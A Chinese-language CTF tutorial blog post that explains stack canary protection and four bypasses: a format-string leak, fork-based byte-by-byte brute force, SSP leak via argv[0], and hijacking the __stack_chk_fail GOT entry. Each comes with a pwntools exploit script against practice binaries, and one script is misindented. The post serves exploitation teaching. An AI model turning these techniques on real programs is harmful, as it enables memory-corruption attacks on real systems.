登录后台

页面导航

本文编写于 472 天前,最后修改于 124 天前,其中某些信息可能已经过时。

0x00 canary保护机制

Canary保护机制的原理,是在一个函数入口处从gs(32位)或fs(64位)段内获取一个随机值,一般存到eax - 0x4(32位)或rax -0x8(64位)的位置。如果攻击者利用栈溢出修改到了这个值,导致该值与存入的值不一致,__stack_chk_fail函数将抛出异常并退出程序。Canary最高字节一般是x00,防止由于其他漏洞产生的Canary泄露

需要注意的是:canary一般最高位是x00,64位程序的canary大小是8个字节,32位的是4个字节,canary的位置不一定就是与ebp存储的位置相邻,具体得看程序的汇编操作

1.程序从gs(32位)或fs(64位)段取出一个4或8节的值,在32位程序上,你可能会看到:

clipboard.png

在64位程序上,可能会看到

clipboard(1).png

总之,这个值你不能实现得到或预测,放到栈上以后,eax中的副本也会被清空(xor eax,eax)

2.程序正常的走完了流程,到函数执行完的时候,程序会把canary的值取出来,和之前放在栈上的canary进行比较,如果因为栈溢出什么的原因覆盖到了canary而导致canary发生了变化则直接终止程序。

clipboard(2).png

在栈中大致是这样一个画风:

clipboard(3).png

0x01 泄露canary

通过格式化字符漏洞或者栈溢出漏洞泄露出canary的值,然后在payload里加入canary的值以通过检查

题目: bin
32位程序,先checksec,后ida分析

clipboard(4).png

printf函数处存在格式化字符串漏洞

clipboard(5).png

read函数存在栈溢出漏洞

我们尝试利用格式化字符串漏洞,需要计算出canary的偏移量

clipboard(6).png

通过gdb调试,发现canary的偏移量是7,现在需要查找canary的存放位置,用来栈溢出覆盖

clipboard(7).png

clipboard(8).png

需要覆盖0x64个字符,现在可以写exp了:

from pwn import *

io = process('./bin')
io.sendline('%7$x')
canary = int(io.recv(),16)
print canary
payload = 'a'*100 + p32(canary) + 'a'*12 + p32(0x0804863B)
io.sendline(payload)
io.interactive()

0x02 爆破canary

canary之所以被认为是安全的,是因为对其进行爆破成功率太低。以32为例,除去最后一个x00,其可能值将会是0x100^3=16777216(实际上由于canary的生成规则会小于这个值),64位下的canary值更是远大于这个数量级。此外,一旦canary爆破失败,程序就会立即结束,canary值也会再次更新,使得爆破更加困难。但是,由于同一个进程内所有的canary值都是一致的,当程序有多个进程,且子进程内出现了栈溢出时,由于子进程崩溃不会影响到主进程,我们就可以进行爆破。甚至我们可以通过逐位爆破来减少爆破时间,逐位爆破时,如果程序崩溃了就说明这一位不对,如果程序正常就可以接着跑下一位,直到跑出正确的canary。

题目bin1
32位,先checksec再ida

clipboard(9).png

clipboard(10).png

发现fork函数,说明可以进行利用fork爆破canary
32为程序除去末尾的x00,前面还有3位16进制的数字,当爆破成功以一位canary时,就会输recv success

clipboard(11).png

from pwn import *

io = process('./bin1')
canary = '\x00'
io.recvuntil('welcome\n')
for i in range(3):
    for i in range(256):
        io.sendline('a'*100 + canary + chr(i))
        a = io.recvuntil('welcome\n')
        if "recv" in a:
            io.recvuntil('welcome\n')
                    canary += chr(i)
                    break
getflag = 0x0804863B
payload = 'a'*100 + canary + 'a'*12 + p32(getflag)
io.sendline(payload)
io.interactive()

0x03 SSP Leak

除了通过各种方法泄露canary之外,我们还有一个可选项——利用__stack_chk_fail函数泄露信息。这种方法作用不大,没办法让我们getshell。但是当我们需要泄露的flag或者其他东西存在于内存中时,我们可能可以使用一个栈溢出漏洞来把它们泄露出来。这个方法叫做SSP(Stack Smashing Protect) Leak.

在开始之前,我们先来回顾一下canary起作用到程序退出的流程。首先,canary被检测到修改,函数不会经过正常的流程结束栈帧并继续执行接下来的代码,而是跳转到call __stack_chk_fail处,然后对于我们来说,执行完这个函数,程序退出,屏幕上留下一行 stack smashing detected :[XXX] terminated。这里的[XXX]是程序的名字。很显然,这行字不可能凭空产生,肯定是__stack_chk_fail打印出来的。而且,程序的名字一定是个来自外部的变量(毕竟ELF格式里面可没有保存程序名)。既然是个来自外部的变量,就有修改的余地。我们看一下__stack_chk_fail的源码,会发现其实现如下:

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

我们看到__libc_message一行输出了 %s : %s terminatedn。这里的参数分别是msg和__libc_argv[0]。char *argv[]是main函数的参数,argv[0]存储的就是程序名,且这个argv[0]就存在于栈上。所以SSP leak的玩法就是通过修改栈上的argv[0]指针,从而让__stack_chk_fail被触发后输出我们想要知道的东西。

ssp攻击:argv[0]是指向第一个启动参数字符串的指针,只要我们能够输入足够长的字符串覆盖掉argv[0],我们就能让canary保护输出我们想要地址上的值。
普通方法:计算偏移量,目标覆盖掉argv[0]

这个我目前没有完全理解,可以看i春秋的这篇文章,讲的很细
https://bbs.ichunqiu.com/thread-44069-1-1.html

暴力方法:栈中全部填充目标地址,总有一个会覆盖ret的地址

clipboard(12).png

from pwn import *

p = process('./bin2')
flag = 0x400d20
payload = p64(flag)*1000
p.recvuntil("Hello!\nWhat's your name?")
p.sendline(payload)
p.recv()
p.sendline(payload)
p.interactive()

0x04 劫持__stack_chk_fail

当Canary验证失败的时候是进入到stack_chk_failed函数中,它在该函数中完成报错输出,但是如果我们能够劫持该函数,让它不在完成该功能,那么Canary就形同虚设,我们就可以为所欲为栈溢出了。
但需要注意的是:种技术并不是我们一般方式的Hijack GOT表,一般我们HijackGOT是GOT表绑定了真实地址之后,我们修改它,让程序执行其他的函数。 Got表中要绑定真实地址必须是得执行过一次,然而stack_chk_failed执行第一次的时候程序就报错退出了,因此我们需要Overwrite的尚未执行过的stack_chk_failed的GOT表项,此时GOT表中应该存贮这stack_chk_failed PLT[1]的地址。

具体思路:劫持stack_chk_fail函数,控制程序流程,也就是说刚开始未栈溢出时,我们先改写stack_chk_fail的got表指针内容为我们的后门函数地址,之后我们故意制造栈溢出调用stack_chk_fail时,实际就是执行我们的后门函数

题目:bin3(原题是hgame的week2的Steins)
checksec可以看到开启了NX和canary

clipboard(13).png

ida看到有后门

clipboard(14).png

from pwn import *

p = process('./bin3')
elf = ELF('./bin3')
backdoor = 0x000000000040084E
stack_fail = elf.got['__stack_chk_fail']
payload = 'a'*5 + '%' + str(backdoor & 0xffff - 5) + 'c%8$hn' + p64(stack_fail) + 'a'*100
p.recv()
p.sendline(payload)
p.interactive()

参考资料:
https://xz.aliyun.com/t/4657#toc-0
(推荐看这个,很基础,,跟详细,本文的事例来自这篇文章的附件)
https://www.anquanke.com/post/id/177832
https://veritas501.space/2017/04/28/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/